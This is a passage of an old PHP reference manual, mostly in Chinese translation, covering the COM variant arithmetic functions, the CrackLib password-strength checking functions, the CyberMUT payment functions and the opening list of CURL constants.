This function returns an integer value that indicates the type of variant, which can be an instance of COM, DOTNET or VARIANT classes. The return value can be compared to one of the VT_XXX constants.

The return value for COM and DOTNET objects will usually be VT_DISPATCH; the only reason this function works for those classes is because COM and DOTNET are descendants of VARIANT.

In PHP versions prior to 5, you could obtain this information from instances of the VARIANT class ONLY, by reading a fake type property. See the VARIANT class for more information on this.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
variant_fix | 上一级 | variant_idiv


variant_idiv

(PHP 5)

variant_idiv -- Converts variants to integers and then returns the result from dividing them

Description

mixed variant_idiv ( mixed left, mixed right )

Converts left and right to integer values, and then performs integer division according the following rules:

表格 1. Variant Integer Division Rules

If | Then
Both expressions are of the string, date, character, boolean type | Division and integer is returned
One expression is a string type and the other a character | Division
One expression is numeric and the other is a string | Division
Both expressions are numeric | Division
Either expression is NULL | NULL is returned
Both expressions are empty | A com_exception with code DISP_E_DIVBYZERO is thrown

See also variant_div().

注: 对于所有的变量算法函数，此函数的参数可以要么是 PHP 自身的类型（整型，字符串，浮点型，布尔型或者 NULL），要么是一个 COM，VARIANT 或 DOTNET 类的实例。PHP 自身类型将被转换为变量，使用与 VARIANT 类的构造函数中相同的规则。COM 和 DOTNET 对象将具有其默认属性的值，取得并作为变量值使用。

变量算法函数是 COM 库中与其名称接近的函数的封装。此类函数的更多信息请参考 MSDN 库。PHP 函数命名有少许不同，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
variant_get_type | 上一级 | variant_imp


variant_imp

(PHP 5)

variant_imp -- Performs a bitwise implication on two variants

Description

mixed variant_imp ( mixed left, mixed right )

Performs a bitwise implication operation, according to the following truth table:

表格 1. Variant Implication Table

If left is | If right is | then the result is
TRUE | TRUE | TRUE
TRUE | FALSE | TRUE
TRUE | NULL | TRUE
FALSE | TRUE | TRUE
FALSE | FALSE | TRUE
FALSE | NULL | TRUE
NULL | TRUE | TRUE
NULL | FALSE | NULL
NULL | NULL | NULL

注: 对于所有的变量算法函数，此函数的参数可以要么是 PHP 自身的类型（整型，字符串，浮点型，布尔型或者 NULL），要么是一个 COM，VARIANT 或 DOTNET 类的实例。PHP 自身类型将被转换为变量，使用与 VARIANT 类的构造函数中相同的规则。COM 和 DOTNET 对象将具有其默认属性的值，取得并作为变量值使用。

变量算法函数是 COM 库中与其名称接近的函数的封装。此类函数的更多信息请参考 MSDN 库。PHP 函数命名有少许不同，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
variant_idiv | 上一级 | variant_int


variant_int

(PHP 5)

variant_int -- Returns the integer portion of a variant

Description

mixed variant_int ( mixed variant )

If variant is negative, then the first negative integer greater than or equal to the variant is returned, otherwise returns the integer portion of the value of variant.

See also variant_fix(),
variant_round(), floor(),
ceil(),
round().

注: 对于所有的变量算法函数，此函数的参数可以要么是 PHP 自身的类型（整型，字符串，浮点型，布尔型或者 NULL），要么是一个 COM，VARIANT 或 DOTNET 类的实例。PHP 自身类型将被转换为变量，使用与 VARIANT 类的构造函数中相同的规则。COM 和 DOTNET 对象将具有其默认属性的值，取得并作为变量值使用。

变量算法函数是 COM 库中与其名称接近的函数的封装。此类函数的更多信息请参考 MSDN 库。PHP 函数命名有少许不同，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
variant_imp | 上一级 | variant_mod


variant_mod

(PHP 5)

variant_mod -- Divides two variants and returns only the remainder

Description

mixed variant_mod ( mixed left, mixed right )

Divides left by right and returns the remainder.

See also variant_div(), variant_idiv().

注: 对于所有的变量算法函数，此函数的参数可以要么是 PHP 自身的类型（整型，字符串，浮点型，布尔型或者 NULL），要么是一个 COM，VARIANT 或 DOTNET 类的实例。PHP 自身类型将被转换为变量，使用与 VARIANT 类的构造函数中相同的规则。COM 和 DOTNET 对象将具有其默认属性的值，取得并作为变量值使用。

变量算法函数是 COM 库中与其名称接近的函数的封装。此类函数的更多信息请参考 MSDN 库。PHP 函数命名有少许不同，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
variant_int | 上一级 | variant_mul


variant_mul

(PHP 5)

variant_mul -- multiplies the values of the two variants and returns the result

Description

mixed variant_mul ( mixed left, mixed right )

Multiplies left by right and returns the result, subject to the following rules:

表格 1. Variant Multiplication Rules

If | Then
Both expressions are of the string, date, character, boolean type | Multiplication
One expression is a string type and the other a character | Multiplication
One expression is numeric and the other is a string | Multiplication
Both expressions are numeric | Multiplication
Either expression is NULL | NULL is returned
Both expressions are empty | Empty string is returned

Boolean values are converted to -1 for FALSE and 0 for TRUE.

See also variant_div(), variant_idiv().

注: 对于所有的变量算法函数，此函数的参数可以要么是 PHP 自身的类型（整型，字符串，浮点型，布尔型或者 NULL），要么是一个 COM，VARIANT 或 DOTNET 类的实例。PHP 自身类型将被转换为变量，使用与 VARIANT 类的构造函数中相同的规则。COM 和 DOTNET 对象将具有其默认属性的值，取得并作为变量值使用。

变量算法函数是 COM 库中与其名称接近的函数的封装。此类函数的更多信息请参考 MSDN 库。PHP 函数命名有少许不同，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
variant_mod | 上一级 | variant_neg


variant_neg

(PHP 5)

variant_neg -- Performs logical negation on a variant

Description

mixed variant_neg ( mixed variant )

Performs logical negation of variant and returns the result.

注: 对于所有的变量算法函数，此函数的参数可以要么是 PHP 自身的类型（整型，字符串，浮点型，布尔型或者 NULL），要么是一个 COM，VARIANT 或 DOTNET 类的实例。PHP 自身类型将被转换为变量，使用与 VARIANT 类的构造函数中相同的规则。COM 和 DOTNET 对象将具有其默认属性的值，取得并作为变量值使用。

变量算法函数是 COM 库中与其名称接近的函数的封装。此类函数的更多信息请参考 MSDN 库。PHP 函数命名有少许不同，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
variant_mul | 上一级 | variant_not


variant_not

(PHP 5)

variant_not -- Performs bitwise not negation on a variant

Description

mixed variant_not ( mixed variant )

Performs bitwise not negation on variant and returns the result. If variant is NULL, the result will also be NULL.

注: 对于所有的变量算法函数，此函数的参数可以要么是 PHP 自身的类型（整型，字符串，浮点型，布尔型或者 NULL），要么是一个 COM，VARIANT 或 DOTNET 类的实例。PHP 自身类型将被转换为变量，使用与 VARIANT 类的构造函数中相同的规则。COM 和 DOTNET 对象将具有其默认属性的值，取得并作为变量值使用。

变量算法函数是 COM 库中与其名称接近的函数的封装。此类函数的更多信息请参考 MSDN 库。PHP 函数命名有少许不同，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
variant_neg | 上一级 | variant_or


variant_or

(PHP 5)

variant_or -- Performs a logical disjunction on two variants

Description

mixed variant_or ( mixed left, mixed right )

Performs a bitwise OR operation, according to the following truth table; note that this is slightly different from a regular OR operation.

表格 1. Variant OR Rules

If left is | If right is | then the result is
TRUE | TRUE | TRUE
TRUE | FALSE | TRUE
TRUE | NULL | TRUE
FALSE | TRUE | TRUE
FALSE | FALSE | FALSE
FALSE | NULL | NULL
NULL | TRUE | TRUE
NULL | FALSE | NULL
NULL | NULL | NULL

See also variant_and(), variant_xor().

注: 对于所有的变量算法函数，此函数的参数可以要么是 PHP 自身的类型（整型，字符串，浮点型，布尔型或者 NULL），要么是一个 COM，VARIANT 或 DOTNET 类的实例。PHP 自身类型将被转换为变量，使用与 VARIANT 类的构造函数中相同的规则。COM 和 DOTNET 对象将具有其默认属性的值，取得并作为变量值使用。

变量算法函数是 COM 库中与其名称接近的函数的封装。此类函数的更多信息请参考 MSDN 库。PHP 函数命名有少许不同，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
variant_not | 上一级 | variant_pow


variant_pow

(PHP 5)

variant_pow -- Returns the result of performing the power function with two variants

Description

mixed variant_pow ( mixed left, mixed right )

Returns the result of left to the power of right.

See also pow().

注: 对于所有的变量算法函数，此函数的参数可以要么是 PHP 自身的类型（整型，字符串，浮点型，布尔型或者 NULL），要么是一个 COM，VARIANT 或 DOTNET 类的实例。PHP 自身类型将被转换为变量，使用与 VARIANT 类的构造函数中相同的规则。COM 和 DOTNET 对象将具有其默认属性的值，取得并作为变量值使用。

变量算法函数是 COM 库中与其名称接近的函数的封装。此类函数的更多信息请参考 MSDN 库。PHP 函数命名有少许不同，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
variant_or | 上一级 | variant_round


variant_round

(PHP 5)

variant_round -- Rounds a variant to the specified number of decimal places

Description

mixed variant_round ( mixed variant, int decimals )

Returns the value of variant rounded to decimals decimal places.

See also round().

注: 对于所有的变量算法函数，此函数的参数可以要么是 PHP 自身的类型（整型，字符串，浮点型，布尔型或者 NULL），要么是一个 COM，VARIANT 或 DOTNET 类的实例。PHP 自身类型将被转换为变量，使用与 VARIANT 类的构造函数中相同的规则。COM 和 DOTNET 对象将具有其默认属性的值，取得并作为变量值使用。

变量算法函数是 COM 库中与其名称接近的函数的封装。此类函数的更多信息请参考 MSDN 库。PHP 函数命名有少许不同，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
variant_pow | 上一级 | variant_set_type


variant_set_type

(PHP 5)

variant_set_type -- Convert a variant into another type "in-place"

Description

void variant_set_type ( variant variant, int type )

This function is similar to variant_cast() except that the variant is modified "in-place"; no new variant is created. The parameters for this function have identical meaning to those of variant_cast().

See also variant_cast().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
variant_round | 上一级 | variant_set


variant_set

(PHP 5)

variant_set -- Assigns a new value for a variant object

Description

void variant_set ( variant variant, mixed value )

Converts value to a variant and assigns it to the variant object; no new variant object is created, and the old value of variant is freed/released.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
variant_set_type | 上一级 | variant_sub


variant_sub

(PHP 5)

variant_sub -- subtracts the value of the right variant from the left variant value and returns the result

Description

mixed variant_sub ( mixed left, mixed right )

Subtracts right from left using the following rules:

表格 1. Variant Subtraction Rules

If | Then
Both expressions are of the string type | Subtraction
One expression is a string type and the other a character | Subtraction
One expression is numeric and the other is a string | Subtraction.
Both expressions are numeric | Subtraction
Either expression is NULL | NULL is returned
Both expressions are empty | Empty string is returned

See also variant_add().

注: 对于所有的变量算法函数，此函数的参数可以要么是 PHP 自身的类型（整型，字符串，浮点型，布尔型或者 NULL），要么是一个 COM，VARIANT 或 DOTNET 类的实例。PHP 自身类型将被转换为变量，使用与 VARIANT 类的构造函数中相同的规则。COM 和 DOTNET 对象将具有其默认属性的值，取得并作为变量值使用。

变量算法函数是 COM 库中与其名称接近的函数的封装。此类函数的更多信息请参考 MSDN 库。PHP 函数命名有少许不同，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
variant_set | 上一级 | variant_xor


variant_xor

(PHP 5)

variant_xor -- Performs a logical exclusion on two variants

Description

mixed variant_xor ( mixed left, mixed right )

Performs a logical exclusion, according to the following truth table:

表格 1. Variant XOR Rules

If left is | If right is | then the result is
TRUE | TRUE | FALSE
TRUE | FALSE | TRUE
FALSE | TRUE | TRUE
FALSE | FALSE | FALSE
NULL | NULL | NULL

See also variant_and(), variant_or().

注: 对于所有的变量算法函数，此函数的参数可以要么是 PHP 自身的类型（整型，字符串，浮点型，布尔型或者 NULL），要么是一个 COM，VARIANT 或 DOTNET 类的实例。PHP 自身类型将被转换为变量，使用与 VARIANT 类的构造函数中相同的规则。COM 和 DOTNET 对象将具有其默认属性的值，取得并作为变量值使用。

变量算法函数是 COM 库中与其名称接近的函数的封装。此类函数的更多信息请参考 MSDN 库。PHP 函数命名有少许不同，例如 PHP 中的 variant_add() 对应于 MSDN 文档中的 VarAdd()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
variant_sub | 上一级 | Crack Functions


Crack Functions

PHP 手册
后退 前进

XVI. Crack Functions

简介

These functions allow you to use the CrackLib library to test the 'strength' of a password. The 'strength' of a password is tested by that checks length, use of upper and lower case and checked against the specified CrackLib dictionary. CrackLib will also give helpful diagnostic messages that will help 'strengthen' the password.

注: 本扩展已被移动到 PECL 库中且自以下版本起不再被绑定到 PHP 中：5.0.0.

需求

More information regarding CrackLib along with the library can be found at http://www.crypticide.com/users/alecm/.

安装

本 PECL 扩展未绑定于 PHP 中。 进一步信息例如新版本，下载，源程序，维护者信息以及更新日志可以在此找到： http://pecl.php.net/package/crack.

在 PHP 4 中本 PECL 扩展的源程序位于 PHP 源程序中的 ext/ 目录下或者在上面的 PECL 连接中。 In order to use these functions you must compile PHP with Crack support by using the --with-crack[=DIR] configuration option.

Windows users will enable php_crack.dll inside of php.ini in order to use these functions. 在 PHP 4 中本 DLL 位于 PHP Windows 执行包中的 extensions/ 目录下。 可以从 PHP 下载页面或者 http://snaps.php.net/ 下载此 PECL 扩展的 DLL 文件。

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. Crack configuration options

Name | Default | Changeable | Changelog
crack.default_dictionary | NULL | PHP_INI_SYSTEM | Available since PHP 4.0.5.
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

本扩展模块未定义任何常量。

范例

This example shows how to open a CrackLib dictionary, test a given password, retrieve any diagnostic messages, and close the dictionary.

例子 1. CrackLib example

<?php
// Open CrackLib Dictionary
$dictionary = crack_opendict('/usr/local/lib/pw_dict')
     or die('Unable to open CrackLib dictionary');

// Perform password check
$check = crack_check($dictionary, 'gx9A2s0x');

// Retrieve messages
$diag = crack_getlastmessage();
echo $diag; // 'strong password'

// Close dictionary
crack_closedict($dictionary);
?>

注: If crack_check() returns TRUE, crack_getlastmessage() will return 'strong password'.

目录
crack_check -- Performs an obscure check with the given password
crack_closedict -- Closes an open CrackLib dictionary
crack_getlastmessage -- Returns the message from the last obscure check
crack_opendict -- Opens a new CrackLib dictionary

add a note add a note User Contributed Notes
cyril at feraudet dot com
12-Aug-2005 04:32
differents messages returned by crack_getlastmessage () :
- "you are not registered in the password file"
- "it is based on your username"
- "it is based upon your password entry"
- "it is derived from your password entry"
- "it's derived from your password entry"
- "it is derivable from your password entry"
- "it's derivable from your password entry"
- "it's WAY too short"
- "it is too short"
- "it does not contain enough DIFFERENT characters"
- "it is all whitespace"
- "it is too simplistic/systematic"
- "it looks like a National Insurance number."
- "it is based on a dictionary word"
- "it is based on a (reversed) dictionary word"

Cyril Feraudet
slayoo(at)staszic(dot)waw(dot)pl
14-May-2002 07:36
Following the source of Cracklib 2.7 possible return strings are:
- it is based on a dictionary word
- it is based on a (reversed) dictionary word
- it's WAY too short
- it is too short
- it does not contain enough DIFFERENT characters
- it is all whitespace
- it is too simplistic/systematic
- it looks like a National Insurance number
It may be useful for example in localization of your scripts...
add a note add a note

后退 | 起点 | 前进
variant_xor | 上一级 | crack_check


crack_check

(PHP 4 >= 4.0.5, PECL)

crack_check -- Performs an obscure check with the given password

说明

bool crack_check ( resource dictionary, string password )

bool crack_check ( string password )

Performs an obscure check with the given password on the specified dictionary.

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

参数

dictionary

The crack lib dictionary. If not specified, the last opened dictionary is used.

password

The tested password.

返回值

Returns TRUE if password is strong, or FALSE otherwise.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Crack Functions | 上一级 | crack_closedict


crack_closedict

(PHP 4 >= 4.0.5, PECL)

crack_closedict -- Closes an open CrackLib dictionary

说明

bool crack_closedict ( [resource dictionary] )

crack_closedict() closes the specified dictionary identifier.

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

参数

dictionary

The dictionary to close. If not specified, the current directory is closed.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

crack_opendict()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
crack_check | 上一级 | crack_getlastmessage


crack_getlastmessage

(PHP 4 >= 4.0.5, PECL)

crack_getlastmessage -- Returns the message from the last obscure check

说明

string crack_getlastmessage ( void )

crack_getlastmessage() returns the message from the last obscure check.

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

返回值

The message from the last obscure check.

参见

crack_check()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
crack_closedict | 上一级 | crack_opendict


crack_opendict

(PHP 4 >= 4.0.5, PECL)

crack_opendict -- Opens a new CrackLib dictionary

说明

resource crack_opendict ( string dictionary )

crack_opendict() opens the specified CrackLib dictionary for use with crack_check().

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

注: Only one dictionary may be open at a time.

参数

dictionary

The path to the Cracklib dictionary.

返回值

Returns a dictionary resource identifier on success, or FALSE on failure.

参见

crack_check()
crack_closedict()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
crack_getlastmessage | 上一级 | Credit Mutuel CyberMUT functions


Credit Mutuel CyberMUT functions

PHP 手册
后退 前进

XVII. Credit Mutuel CyberMUT functions

简介

This extension allows you to process credit cards transactions using Credit Mutuel CyberMUT system.

CyberMUT is a popular Web Payment Service in France, provided by the Credit Mutuel bank. If you are foreign in France, these functions will not be useful for you.

The use of these functions is almost identical to the original functions, except for the parameters of return for CreerFormulaireCM and CreerReponseCM, which are returned directly by functions PHP, whereas they had passed in reference in the original functions.

注: 本扩展模块在 Windows 平台下不可用。

注: 本扩展已被移动到 PECL 库中且自以下版本起不再被绑定到 PHP 中：4.3.0

需求

You will require the appropriate SDK for your platform, which may be sent to you after your CyberMUT's subscription (contact them via Web, or go to the nearest Credit Mutuel).

注: These functions only provide a link to CyberMUT SDK. Be sure to read the CyberMUT Developers Guide for full details of the required parameters.

目录
cybermut_creerformulairecm -- Generate HTML form of request for payment
cybermut_creerreponsecm -- Generate the delivery's acknowledgement of the payment's confirmation
cybermut_testmac -- Make sure that there was no data diddling contained in the received message of confirmation

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
crack_opendict | 上一级 | cybermut_creerformulairecm


cybermut_creerformulairecm

(4.0.5 - 4.2.3 only, PECL)

cybermut_creerformulairecm -- Generate HTML form of request for payment

说明

string cybermut_creerformulairecm ( string url_cm, string version, string tpe, string price, string ref_command, string text_free, string url_return, string url_return_ok, string url_return_err, string language, string code_company, string text_button )

cybermut_creerformulairecm() is used to generate the HTML form of request for payment.

参见

cybermut_testmac()
cybermut_creerreponsecm()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Credit Mutuel CyberMUT functions | 上一级 | cybermut_creerreponsecm


cybermut_creerreponsecm

(4.0.5 - 4.2.3 only, PECL)

cybermut_creerreponsecm -- Generate the delivery's acknowledgement of the payment's confirmation

说明

string cybermut_creerreponsecm ( string sentence )

The parameter is "OK" if the message of confirmation of the payment were correctly authenticated by cybermut_testmac(). Any other chain is regarded as an error message.

返回值

Returns a string containing the message of acknowledgement of delivery.

参见

cybermut_creerformulairecm()
cybermut_testmac()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cybermut_creerformulairecm | 上一级 | cybermut_testmac


cybermut_testmac

(4.0.5 - 4.2.3 only, PECL)

cybermut_testmac -- Make sure that there was no data diddling contained in the received message of confirmation

说明

bool cybermut_testmac ( string code_mac, string version, string tpe, string cdate, string price, string ref_command, string text_free, string code_return )

cybermut_testmac() is used to make sure that there was no data diddling contained in the received message of confirmation. Pay attention to parameters code_return and text_free, which cannot be evaluated as is, because of the dash.

参见

cybermut_creerformulairecm()
cybermut_creerreponsecm()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cybermut_creerreponsecm | 上一级 | CURL, Client URL Library Functions


CURL, Client URL Library Functions

PHP 手册
后退 前进

XVIII. CURL, Client URL Library Functions

简介

PHP supports libcurl, a library created by Daniel Stenberg, that allows you to connect and communicate to many different types of servers with many different types of protocols. libcurl currently supports the http, https, ftp, gopher, telnet, dict, file, and ldap protocols. libcurl also supports HTTPS certificates, HTTP POST, HTTP PUT, FTP uploading (this can also be done with PHP's ftp extension), HTTP form based upload, proxies, cookies, and user+password authentication.

These functions have been added in PHP 4.0.2.

需求

In order to use the CURL functions you need to install the CURL package. PHP requires that you use CURL 7.0.2-beta or higher. In PHP 4.2.3, you will need CURL version 7.9.0 or higher. From PHP 4.3.0, you will need a CURL version that's 7.9.8 or higher. PHP 5.0.0 requires a CURL version 7.10.5 or greater.

安装

To use PHP's CURL support you must also compile PHP --with-curl[=DIR] where DIR is the location of the directory containing the lib and include directories. In the "include" directory there should be a folder named "curl" which should contain the easy.h and curl.h files. There should be a file named libcurl.a located in the "lib" directory. Beginning with PHP 4.3.0 you can configure PHP to use CURL for URL streams --with-curlwrappers.

Note to Win32 Users: In order to enable this module on a Windows environment, you must copy libeay32.dll and ssleay32.dll from the DLL folder of the PHP/Win32 binary package to the SYSTEM folder of your Windows machine. (Ex: C:\WINNT\SYSTEM32 or C:\WINDOWS\SYSTEM)

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

CURLOPT_AUTOREFERER (integer)

Available since PHP 5.1.0

CURLOPT_COOKIESESSION (integer)

Available since PHP 5.1.0

CURLOPT_DNS_USE_GLOBAL_CACHE (integer)

CURLOPT_DNS_CACHE_TIMEOUT (integer)

CURLOPT_FTPSSLAUTH (integer)

Available since PHP 5.1.0

CURLOPT_PORT (integer)

CURLOPT_FILE (integer)

CURLOPT_INFILE (integer)

CURLOPT_INFILESIZE (integer)

CURLOPT_URL (integer)

CURLOPT_PROXY (integer)

CURLOPT_VERBOSE (integer)

CURLOPT_HEADER (integer)

CURLOPT_HTTPHEADER (integer)

CURLOPT_NOPROGRESS (integer)

CURLOPT_NOBODY (integer)

CURLOPT_FAILONERROR (integer)

CURLOPT_UPLOAD (integer)

CURLOPT_POST (integer)

CURLOPT_FTPLISTONLY (integer)

CURLOPT_FTPAPPEND (integer)

CURLOPT_NETRC (integer)

CURLOPT_FOLLOWLOCATION (integer)

CURLOPT_FTPASCII (integer)

CURLOPT_PUT (integer)

CURLOPT_MUTE (integer)

CURLOPT_USERPWD (integer)

CURLOPT_PROXYUSERPWD (integer)

CURLOPT_RANGE (integer)

CURLOPT_TIMEOUT (integer)

CURLOPT_POSTFIELDS (integer)

CURLOPT_REFERER (integer)

CURLOPT_USERAGENT (integer)

CURLOPT_FTPPORT (integer)

CURLOPT_FTP_USE_EPSV (integer)

CURLOPT_LOW_SPEED_LIMIT (integer)

CURLOPT_LOW_SPEED_TIME (integer)

CURLOPT_RESUME_FROM (integer)

CURLOPT_COOKIE (integer)

CURLOPT_SSLCERT (integer)

CURLOPT_SSLCERTPASSWD (integer)

CURLOPT_WRITEHEADER (integer)

CURLOPT_SSL_VERIFYHOST (integer)

CURLOPT_COOKIEFILE (integer)

CURLOPT_SSLVERSION (integer)

CURLOPT_TIMECONDITION (integer)

CURLOPT_TIMEVALUE (integer)

CURLOPT_CUSTOMREQUEST (integer)

CURLOPT_STDERR (integer)

CURLOPT_TRANSFERTEXT (integer)

CURLOPT_RETURNTRANSFER (integer)

CURLOPT_QUOTE (integer)

CURLOPT_POSTQUOTE (integer)

CURLOPT_INTERFACE (integer)

CURLOPT_KRB4LEVEL (integer)

CURLOPT_HTTPPROXYTUNNEL (integer)

CURLOPT_FILETIME (integer)

CURLOPT_WRITEFUNCTION (integer)

CURLOPT_READFUNCTION (integer)

CURLOPT_PASSWDFUNCTION (integer)

CURLOPT_HEADERFUNCTION (integer)

CURLOPT_MAXREDIRS (integer)

CURLOPT_MAXCONNECTS (integer)

CURLOPT_CLOSEPOLICY (integer)

CURLOPT_FRESH_CONNECT (integer)

CURLOPT_FORBID_REUSE (integer)

CURLOPT_RANDOM_FILE (integer)

CURLOPT_EGDSOCKET (integer)

CURLOPT_CONNECTTIMEOUT (integer)

CURLOPT_SSL_VERIFYPEER (integer)

CURLOPT_CAINFO (integer)

CURLOPT_CAPATH (integer)

CURLOPT_COOKIEJAR (integer)

CURLOPT_SSL_CIPHER_LIST (integer)

CURLOPT_BINARYTRANSFER (integer)

CURLOPT_NOSIGNAL (integer)

CURLOPT_PROXYTYPE (integer)

CURLOPT_BUFFERSIZE (integer)

CURLOPT_HTTPGET (integer)

CURLOPT_HTTP_VERSION (integer)

CURLOPT_SSLKEY (integer)

CURLOPT_SSLKEYTYPE (integer)

CURLOPT_SSLKEYPASSWD (integer)

CURLOPT_SSLENGINE (integer)

CURLOPT_SSLENGINE_DEFAULT (integer)

CURLOPT_SSLCERTTYPE (integer)

CURLOPT_CRLF (integer)

CURLOPT_ENCODING (integer)

CURLOPT_PROXYPORT (integer)

CURLOPT_UNRESTRICTED_AUTH (integer)

CURLOPT_FTP_USE_EPRT (integer)

CURLOPT_HTTP200ALIASES (integer)

CURLOPT_HTTPAUTH (integer)

CURLAUTH_BASIC (integer)

CURLAUTH_DIGEST (integer)

CURLAUTH_GSSNEGOTIATE (integer)

CURLAUTH_NTLM (integer)

CURLAUTH_ANY (integer)

CURLAUTH_ANYSAFE (integer)

CURLOPT_PROXYAUTH (integer)

CURLCLOSEPOLICY_LEAST_RECENTLY_USED (integer)

CURLCLOSEPOLICY_LEAST_TRAFFIC (integer)

CURLCLOSEPOLICY_SLOWEST (integer)

CURLCLOSEPOLICY_CALLBACK (integer)

CURLCLOSEPOLICY_OLDEST (integer)

CURLINFO_EFFECTIVE_URL (integer)

CURLINFO_HTTP_CODE (integer)

CURLINFO_HEADER_SIZE (integer)

CURLINFO_REQUEST_SIZE (integer)

CURLINFO_TOTAL_TIME (integer)

CURLINFO_NAMELOOKUP_TIME (integer)

CURLINFO_CONNECT_TIME (integer)

CURLINFO_PRETRANSFER_TIME (integer)

CURLINFO_SIZE_UPLOAD (integer)

CURLINFO_SIZE_DOWNLOAD (integer)

CURLINFO_SPEED_DOWNLOAD (integer)

CURLINFO_SPEED_UPLOAD (integer)

CURLINFO_FILETIME (integer)

CURLINFO_SSL_VERIFYRESULT (integer)

CURLINFO_CONTENT_LENGTH_DOWNLOAD (integer)

CURLINFO_CONTENT_LENGTH_UPLOAD (integer)

CURLINFO_STARTTRANSFER_TIME (integer)

CURLINFO_CONTENT_TYPE (integer)

CURLINFO_REDIRECT_TIME (integer)

CURLINFO_REDIRECT_COUNT (integer)

CURL_VERSION_IPV6 (integer)

CURL_VERSION_KERBEROS4 (integer)

CURL_VERSION_SSL (integer)

CURL_VERSION_LIBZ (integer)

CURLVERSION_NOW (integer)

CURLE_OK (integer)

CURLE_UNSUPPORTED_PROTOCOL (integer)

CURLE_FAILED_INIT (integer)

CURLE_URL_MALFORMAT (integer)

CURLE_URL_MALFORMAT_USER (integer)

CURLE_COULDNT_RESOLVE_PROXY (integer)

CURLE_COULDNT_RESOLVE_HOST (integer)

CURLE_COULDNT_CONNECT (integer)

CURLE_FTP_WEIRD_SERVER_REPLY (integer)

CURLE_FTP_ACCESS_DENIED (integer)

CURLE_FTP_USER_PASSWORD_INCORRECT (integer)

CURLE_FTP_WEIRD_PASS_REPLY (integer)

CURLE_FTP_WEIRD_USER_REPLY (integer)

CURLE_FTP_WEIRD_PASV_REPLY (integer)

CURLE_FTP_WEIRD_227_FORMAT (integer)

CURLE_FTP_CANT_GET_HOST (integer)

CURLE_FTP_CANT_RECONNECT (integer)

CURLE_FTP_COULDNT_SET_BINARY (integer)

CURLE_PARTIAL_FILE (integer)

CURLE_FTP_COULDNT_RETR_FILE (integer)

CURLE_FTP_WRITE_ERROR (integer)

CURLE_FTP_QUOTE_ERROR (integer)

CURLE_HTTP_NOT_FOUND (integer)

CURLE_WRITE_ERROR (integer)

CURLE_MALFORMAT_USER (integer)

CURLE_FTP_COULDNT_STOR_FILE (integer)

CURLE_READ_ERROR (integer)

CURLE_OUT_OF_MEMORY (integer)

CURLE_OPERATION_TIMEOUTED (integer)

CURLE_FTP_COULDNT_SET_ASCII (integer)

CURLE_FTP_PORT_FAILED (integer)

CURLE_FTP_COULDNT_USE_REST (integer)

CURLE_FTP_COULDNT_GET_SIZE (integer)

CURLE_HTTP_RANGE_ERROR (integer)

CURLE_HTTP_POST_ERROR (integer)

CURLE_SSL_CONNECT_ERROR (integer)

CURLE_FTP_BAD_DOWNLOAD_RESUME (integer)

CURLE_FILE_COULDNT_READ_FILE (integer)

CURLE_LDAP_CANNOT_BIND (integer)

CURLE_LDAP_SEARCH_FAILED (integer)

CURLE_LIBRARY_NOT_FOUND (integer)

